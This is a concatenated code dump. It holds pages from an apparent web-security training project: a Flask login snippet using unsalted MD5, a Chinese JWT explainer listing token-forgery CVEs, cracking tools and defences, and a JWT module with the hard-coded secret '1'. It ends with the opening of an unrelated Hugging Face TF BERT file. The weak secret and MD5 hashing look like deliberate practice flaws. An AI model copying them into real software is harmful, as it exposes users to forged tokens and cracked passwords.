class="cm-keyword">def</span> <span class="cm-def">Login</span>():</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 从请求中获取用户名和密码</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">username</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">form</span>[<span class="cm-string">'username'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">password</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">form</span>[<span class="cm-string">'password'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 在数据库中查询用户名和密码是否匹配</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">user</span> <span class="cm-operator">=</span> <span class="cm-variable">query_db</span>(<span class="cm-string">"SELECT USERNAME FROM USER WHERE (USERNAME = %s AND PASSWORD = %s)"</span>, (<span class="cm-variable">username</span>, <span class="cm-variable">hashlib</span>.<span class="cm-property">md5</span>(<span class="cm-variable">password</span>.<span class="cm-property">encode</span>(<span class="cm-string">"utf-8"</span>)).<span class="cm-property">hexdigest</span>()))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 如果查询到用户信息,则返回登录成功的回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">user</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">update_callback</span>(<span class="cm-variable">responses</span>.<span class="cm-property">callback_public_loginsucc</span>, {<span class="cm-string">'username'</span>: <span class="cm-variable">user</span>[<span class="cm-number">0</span>][<span class="cm-string">"USERNAME"</span>]})</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 否则返回登录失败的回调</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">callback_public_loginerr1</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment"># 响应包 </span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">callback_public_loginerr1</span> <span class="cm-operator">=</span> <span class="cm-variable">json</span>.<span class="cm-property">dumps</span>({</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"status"</span>: <span class="cm-string">"401"</span>,</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">"msg"</span>: <span class="cm-string">"用户名或密码错误"</span></span></pre><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> }, <span class="cm-variable">ensure_ascii</span><span class="cm-operator">=</span><span class="cm-keyword">False</span>), <span class="cm-number">200</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 507px;"></div><div class="CodeMirror-gutters" style="display: none; height: 507px;"></div></div></div></pre></div></div>
</body>
</html> |
2740908911/Pilot-Web | 5,171 | pilot-client/pages/bruteforce/assist/sum-3.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class=''><ul><li><p><strong><span>什么是Token</span></strong></p><p><span>Token全称JSON Web Token,又简称JWT,是一种用于身份验证和授权的开放标准。它是一种轻量级的、基于JSON的令牌,可以在客户端和服务器之间传递信息。JWT由三部分组成:header(头部).payload(载荷).signature(签证),形似如下:</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang=""><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang=""><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlJvY2siLCJhZG1pbiI6dHJ1ZX0.</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">FgWU4K2h_NpZsfb9FxJcsmKRb3dNNlIgDeuD4onIx4A</span></pre></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 69px;"></div><div class="CodeMirror-gutters" style="display: none; height: 69px;"></div></div></div></pre><p><span>其中header和payload部分由base64 URL编码进行编码,JWT Signature部分可以使用 HMAC 算法或使用 RSA 的公钥/私钥对进行签名。JWT的优点包括可扩展性、可靠性和安全性。</span></p><p><span>简单的说,JWT就是通过数字签名的方式,以JSON对象为载体的开发标准,可以在不同的服务终端之间安全的传输信息。</span></p><p><span>详细介绍:</span><a href='https://blog.csdn.net/weixin_45070175/article/details/118559272' target="_blank"><span>CSDN-JWT详解</span></a></p></li></ul><p></br></p><ul><li><p><strong><span>Token伪造漏洞</span></strong></p><p><span>Token伪造,顾名思义通过伪造JWT,以特定账户的身份欺骗系统完成验证。Token伪造是一类漏洞的统称,可以是最简单的弱密钥爆破,也可以是其他高危漏洞,但无论类型如何变化,都是基于Token进行攻击并对其身份认证功能产生威胁。常见的关于Token漏洞如下:</span></p><ul><li><p><span>CVE-2015-2951:alg=none签名绕过漏洞</span></p></li><li><p><span>CVE-2016-10555:RS / HS256公钥不匹配漏洞</span></p></li><li><p><span>CVE-2018-0114:Key injection漏洞</span></p></li><li><p><span>CVE-2019-20933 / CVE-2020-28637:Blank password漏洞</span></p></li><li><p><span>CVE-2020-28042:Null signature漏洞</span></p></li><li><p><span>JWKS欺骗</span></p></li><li><p><span>“kid”注射</span></p></li><li><p><span>跨服务中继攻击</span></p></li><li><p><span>弱密钥</span></p></li><li><p><span>……</span></p></li></ul></li></ul><p></br></p><ul><li><p><strong><span>Token测试相关工具</span></strong></p><ol><li><p><span>JWT弱口令爆破:</span><a href='https://github.com/brendan-rius/c-jwt-cracker' target="_blank"><span>jwtcrack</span></a></p></li><li><p><span>JWT综合利用/测试工具:</span><a href='https://github.com/ticarpi/jwt_tool' target="_blank"><span>jwt_tool</span></a></p></li><li><p><span>JWT密钥爆破:</span><a href='https://github.com/hashcat/hashcat' target="_blank"><span>hashcat</span></a></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>Token漏洞防御</span></strong></p><ol><li><p><span>避免在令牌中直接传输用户的敏感数据以及系统内部的关键参数。</span></p></li><li><p><span>若使用对称加密算法,应使用强密钥提高秘钥破解的难度。</span></p></li><li><p><span>若使用非对称加密算法,应在服务端增加已授权算法的白名单,限制签名算法类型,防止密钥混淆攻击。</span></p></li><li><p><span>严格验证并过滤从用户端接收的数据,例如kid、jku等关键参数,防止因没有对参数进行正确校验而产生的安全风险。</span></p></li><li><p><span>在Payload字段中增加一些业务上的字段,用于校验。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol><li><p><a href='https://blog.csdn.net/qq_46081990/article/details/135128438' target="_blank"><span>CSDN-JWT介绍&空加密&暴破密钥&私钥泄露&密钥混淆&黑盒</span></a></p></li><li><p><a href='https://www.cnblogs.com/xiaozi/p/12005929.html' target="_blank"><span>JWT攻击手册</span></a></p></li><li><p><a href='https://xz.aliyun.com/t/12906' target="_blank"><span>先知-JWT渗透姿势一篇通</span></a></p></li></ol></li></ul></div></div>
</body>
</html> |
2740908911/Pilot-Web | 13,342 | pilot-client/pages/bruteforce/assist/sCode-3.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded md-focus" spellcheck="false" lang="python" style="break-inside: unset;"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap CodeMirror-focused" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 1022.89px; left: 103.453px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre>x</pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment"># token模块</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">datetime</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">time</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">import</span> <span class="cm-variable">jwt</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-variable">SECRET_KEY</span> <span class="cm-operator">=</span> <span class="cm-string">"1"</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">time_str_int</span>(<span class="cm-variable">date_str</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'''将时间字符串转为时间戳'''</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##将时间字符串转为时间数组</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">timeArray</span> <span class="cm-operator">=</span> <span class="cm-variable">time</span>.<span class="cm-property">strptime</span>(<span class="cm-variable">date_str</span>, <span class="cm-string">"%Y-%m-%d"</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##将时间数组转为时间戳</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">timeStamp</span> <span class="cm-operator">=</span> <span class="cm-builtin">int</span>(<span class="cm-variable">time</span>.<span class="cm-property">mktime</span>(<span class="cm-variable">timeArray</span>))</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">timeStamp</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">create_token</span>(<span class="cm-variable">account</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'''生成本地token'''</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##获取一天后的时间戳,token过期时间为一天后</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">overdue_time</span><span class="cm-operator">=</span>(<span class="cm-variable">datetime</span>.<span class="cm-property">datetime</span>.<span class="cm-property">now</span>()<span class="cm-operator">+</span><span class="cm-variable">datetime</span>.<span class="cm-property">timedelta</span>(<span class="cm-variable">days</span><span class="cm-operator">=</span><span class="cm-number">1</span>)).<span class="cm-property">strftime</span>(<span class="cm-string">"%Y-%m-%d"</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">overdue_timeStamp</span> <span class="cm-operator">=</span> <span class="cm-variable">time_str_int</span>(<span class="cm-variable">overdue_time</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">###生成token</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">own_token</span> <span class="cm-operator">=</span> <span class="cm-variable">jwt</span>.<span class="cm-property">encode</span>({<span class="cm-string">"account"</span>: <span class="cm-variable">account</span>,<span class="cm-string">"overdue_time"</span>:<span class="cm-variable">overdue_timeStamp</span>}, <span class="cm-variable">SECRET_KEY</span>, <span class="cm-variable">algorithm</span><span class="cm-operator">=</span><span class="cm-string">"HS256"</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">own_token</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">verify_token</span>(<span class="cm-variable">own_token</span>,<span class="cm-variable">account</span>):</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-string">'''检验token'''</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">try</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##解密token</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">decode_token</span><span class="cm-operator">=</span><span class="cm-variable">jwt</span>.<span class="cm-property">decode</span>(<span class="cm-variable">own_token</span>, <span class="cm-variable">SECRET_KEY</span>, <span class="cm-variable">algorithms</span><span class="cm-operator">=</span>[<span class="cm-string">"HS256"</span>])</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##获取token中的account</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">token_account</span><span class="cm-operator">=</span><span class="cm-variable">decode_token</span>[<span class="cm-string">'account'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##获取token中的过期时间</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">token_overdue_time</span><span class="cm-operator">=</span><span class="cm-variable">decode_token</span>[<span class="cm-string">'overdue_time'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##获取当前时间的时间</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">now_time</span><span class="cm-operator">=</span><span class="cm-variable">datetime</span>.<span class="cm-property">datetime</span>.<span class="cm-property">now</span>().<span class="cm-property">strftime</span>(<span class="cm-string">"%Y-%m-%d"</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">##转为时间戳</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">now_timeStamp</span> <span class="cm-operator">=</span> <span class="cm-variable">time_str_int</span>(<span class="cm-variable">now_time</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment">###进行判断token,如果账号对的上以及当前访问时间没有超过token过期时间则返回True</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">if</span> <span class="cm-variable">token_account</span> <span class="cm-operator">==</span> <span class="cm-variable">account</span> <span class="cm-keyword">and</span> <span class="cm-variable">now_timeStamp</span> <span class="cm-operator"><</span> <span class="cm-variable">token_overdue_time</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-keyword">True</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">else</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-keyword">False</span></span></pre><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">except</span>:</span></pre></div><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-keyword">False</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 1059px;"></div><div class="CodeMirror-gutters" style="display: none; height: 1059px;"></div></div></div></div></div>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 93,218 | src/transformers/models/bert/modeling_tf_bert.py | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" TF 2.0 BERT model."""
import math
import warnings
from dataclasses import dataclass
from typing import Dict, Optional, Tuple, Union
import numpy as np
import tensorflow as tf
from ...activations_tf import get_tf_activation
from ...modeling_tf_outputs import (
TFBaseModelOutputWithPastAndCrossAttentions,
TFBaseModelOutputWithPoolingAndCrossAttentions,
TFCausalLMOutputWithCrossAttentions,
TFMaskedLMOutput,
TFMultipleChoiceModelOutput,
TFNextSentencePredictorOutput,
TFQuestionAnsweringModelOutput,
TFSequenceClassifierOutput,
TFTokenClassifierOutput,
)
from ...modeling_tf_utils import (
TFCausalLanguageModelingLoss,
TFMaskedLanguageModelingLoss,
TFModelInputType,
TFMultipleChoiceLoss,
TFNextSentencePredictionLoss,
TFPreTrainedModel,
TFQuestionAnsweringLoss,
TFSequenceClassificationLoss,
TFTokenClassificationLoss,
get_initializer,
keras_serializable,
unpack_inputs,
)
from ...tf_utils import shape_list, stable_softmax
from ...utils import (
DUMMY_INPUTS,
MULTIPLE_CHOICE_DUMMY_INPUTS,
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_bert import BertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "bert-base-uncased"
_CONFIG_FOR_DOC = "BertConfig"
# TokenClassification docstring
_CHECKPOINT_FOR_TOKEN_CLASSIFICATION = "dbmdz/bert-large-cased-finetuned-conll03-english"
_TOKEN_CLASS_EXPECTED_OUTPUT = (
"['O', 'I-ORG', 'I-ORG', 'I-ORG', 'O', 'O', 'O', 'O', 'O', 'I-LOC', 'O', 'I-LOC', 'I-LOC'] "
)
_TOKEN_CLASS_EXPECTED_LOSS = 0.01
# QuestionAnswering docstring
_CHECKPOINT_FOR_QA = "ydshieh/bert-base-cased-squad2"
_QA_EXPECTED_OUTPUT = "'a nice puppet'"
_QA_EXPECTED_LOSS = 7.41
_QA_TARGET_START_INDEX = 14
_QA_TARGET_END_INDEX = 15
# SequenceClassification docstring
_CHECKPOINT_FOR_SEQUENCE_CLASSIFICATION = "ydshieh/bert-base-uncased-yelp-polarity"
_SEQ_CLASS_EXPECTED_OUTPUT = "'LABEL_1'"
_SEQ_CLASS_EXPECTED_LOSS = 0.01
TF_BERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
"bert-base-uncased",
"bert-large-uncased",
"bert-base-cased",
"bert-large-cased",
"bert-base-multilingual-uncased",
"bert-base-multilingual-cased",
"bert-base-chinese",
"bert-base-german-cased",
"bert-large-uncased-whole-word-masking",
"bert-large-cased-whole-word-masking",
"bert-large-uncased-whole-word-masking-finetuned-squad",
"bert-large-cased-whole-word-masking-finetuned-squad",
"bert-base-cased-finetuned-mrpc",
"cl-tohoku/bert-base-japanese",
"cl-tohoku/bert-base-japanese-whole-word-masking",
"cl-tohoku/bert-base-japanese-char",
"cl-tohoku/bert-base-japanese-char-whole-word-masking",
"TurkuNLP/bert-base-finnish-cased-v1",
"TurkuNLP/bert-base-finnish-uncased-v1",
"wietsedv/bert-base-dutch-cased",
# See all BERT models at https://huggingface.co/models?filter=bert
]
class TFBertPreTrainingLoss:
"""
Loss function suitable for BERT-like pretraining, that is, the task of pretraining a language model by combining
NSP + MLM. .. note:: Any label of -100 will be ignored (along with the corresponding logits) in the loss
computation.
"""
def hf_compute_loss(self, labels: tf.Tensor, logits: tf.Tensor) -> tf.Tensor:
loss_fn = tf.keras.losses.SparseCategoricalCrossentropy(
from_logits=True, reduction=tf.keras.losses.Reduction.NONE
)
# Clip negative labels to zero here to avoid NaNs and errors - those positions will get masked later anyway
unmasked_lm_losses = loss_fn(y_true=tf.nn.relu(labels["labels"]), y_pred=logits[0])
# make sure only labels that are not equal to -100
# are taken into account for the loss computation
lm_loss_mask = tf.cast(labels["labels"] != -100, dtype=unmasked_lm_losses.dtype)
masked_lm_losses = unmasked_lm_losses * lm_loss_mask
reduced_masked_lm_loss = tf.reduce_sum(masked_lm_losses) / tf.reduce_sum(lm_loss_mask)
# Clip negative labels to zero here to avoid NaNs and errors - those positions will get masked later anyway
unmasked_ns_loss = loss_fn(y_true=tf.nn.relu(labels["next_sentence_label"]), y_pred=logits[1])
ns_loss_mask = tf.cast(labels["next_sentence_label"] != -100, dtype=unmasked_ns_loss.dtype)
masked_ns_loss = unmasked_ns_loss * ns_loss_mask
reduced_masked_ns_loss = tf.reduce_sum(masked_ns_loss) / tf.reduce_sum(ns_loss_mask)
return tf.reshape(reduced_masked_lm_loss + reduced_masked_ns_loss, (1,))
class TFBertEmbeddings(tf.keras.layers.Layer):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
self.config = config
self.hidden_size = config.hidden_size
self.max_position_embeddings = config.max_position_embeddings
self.initializer_range = config.initializer_range
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dropout = tf.keras.layers.Dropout(rate=config.hidden_dropout_prob)
def build(self, input_shape: tf.TensorShape):
with tf.name_scope("word_embeddings"):
self.weight = self.add_weight(
name="weight",
shape=[self.config.vocab_size, self.hidden_size],
initializer=get_initializer(self.initializer_range),
)
with tf.name_scope("token_type_embeddings"):
self.token_type_embeddings = self.add_weight(
name="embeddings",
shape=[self.config.type_vocab_size, self.hidden_size],
initializer=get_initializer(self.initializer_range),
)
with tf.name_scope("position_embeddings"):
self.position_embeddings = self.add_weight(
name="embeddings",
shape=[self.max_position_embeddings, self.hidden_size],
initializer=get_initializer(self.initializer_range),
)
super().build(input_shape)
def call(
self,
input_ids: tf.Tensor = None,
position_ids: tf.Tensor = None,
token_type_ids: tf.Tensor = None,
inputs_embeds: tf.Tensor = None,
past_key_values_length=0,
training: bool = False,
) -> tf.Tensor:
"""
Applies embedding based on inputs tensor.
Returns:
final_embeddings (`tf.Tensor`): output embedding tensor.
"""
if input_ids is None and inputs_embeds is None:
raise ValueError("Need to provide either `input_ids` or `input_embeds`.")
if input_ids is not None:
# Note: tf.gather, on which the embedding layer is based, won't check positive out of bound
# indices on GPU, returning zeros instead. This is a dangerous silent behavior.
tf.debugging.assert_less(
input_ids,
tf.cast(self.config.vocab_size, dtype=input_ids.dtype),
message=(
"input_ids must be smaller than the embedding layer's input dimension (got"
f" {tf.math.reduce_max(input_ids)} >= {self.config.vocab_size})"
),
)
inputs_embeds = tf.gather(params=self.weight, indices=input_ids)
input_shape = shape_list(inputs_embeds)[:-1]
if token_type_ids is None:
token_type_ids = tf.fill(dims=input_shape, value=0)
if position_ids is None:
position_ids = tf.expand_dims(
tf.range(start=past_key_values_length, limit=input_shape[1] + past_key_values_length), axis=0
)
position_embeds = tf.gather(params=self.position_embeddings, indices=position_ids)
token_type_embeds = tf.gather(params=self.token_type_embeddings, indices=token_type_ids)
final_embeddings = inputs_embeds + position_embeds + token_type_embeds
final_embeddings = self.LayerNorm(inputs=final_embeddings)
final_embeddings = self.dropout(inputs=final_embeddings, training=training)
return final_embeddings
class TFBertSelfAttention(tf.keras.layers.Layer):
def __init__(self, config: BertConfig, **kwargs):
super().__init__(**kwargs)
if config.hidden_size % config.num_attention_heads != 0:
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number "
f"of attention heads ({config.num_attention_heads})"
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.sqrt_att_head_size = math.sqrt(self.attention_head_size)
self.query = tf.keras.layers.Dense(
units=self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="query"
)
self.key = tf.keras.layers.Dense(
units=self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="key"
)
self.value = tf.keras.layers.Dense(
units=self.all_head_size, kernel_initializer=get_initializer(config.initializer_range), name="value"
)
self.dropout = tf.keras.layers.Dropout(rate=config.attention_probs_dropout_prob)
self.is_decoder = config.is_decoder
def transpose_for_scores(self, tensor: tf.Tensor, batch_size: int) -> tf.Tensor:
# Reshape from [batch_size, seq_length, all_head_size] to [batch_size, seq_length, num_attention_heads, attention_head_size]
tensor = tf.reshape(tensor=tensor, shape=(batch_size, -1, self.num_attention_heads, self.attention_head_size))
# Transpose the tensor from [batch_size, seq_length, num_attention_heads, attention_head_size] to [batch_size, num_attention_heads, seq_length, attention_head_size]
return tf.transpose(tensor, perm=[0, 2, 1, 3])
def call(
self,
hidden_states: tf.Tensor,
attention_mask: tf.Tensor,
head_mask: tf.Tensor,
encoder_hidden_states: tf.Tensor,
encoder_attention_mask: tf.Tensor,
past_key_value: Tuple[tf.Tensor],
output_attentions: bool,
training: bool = False,
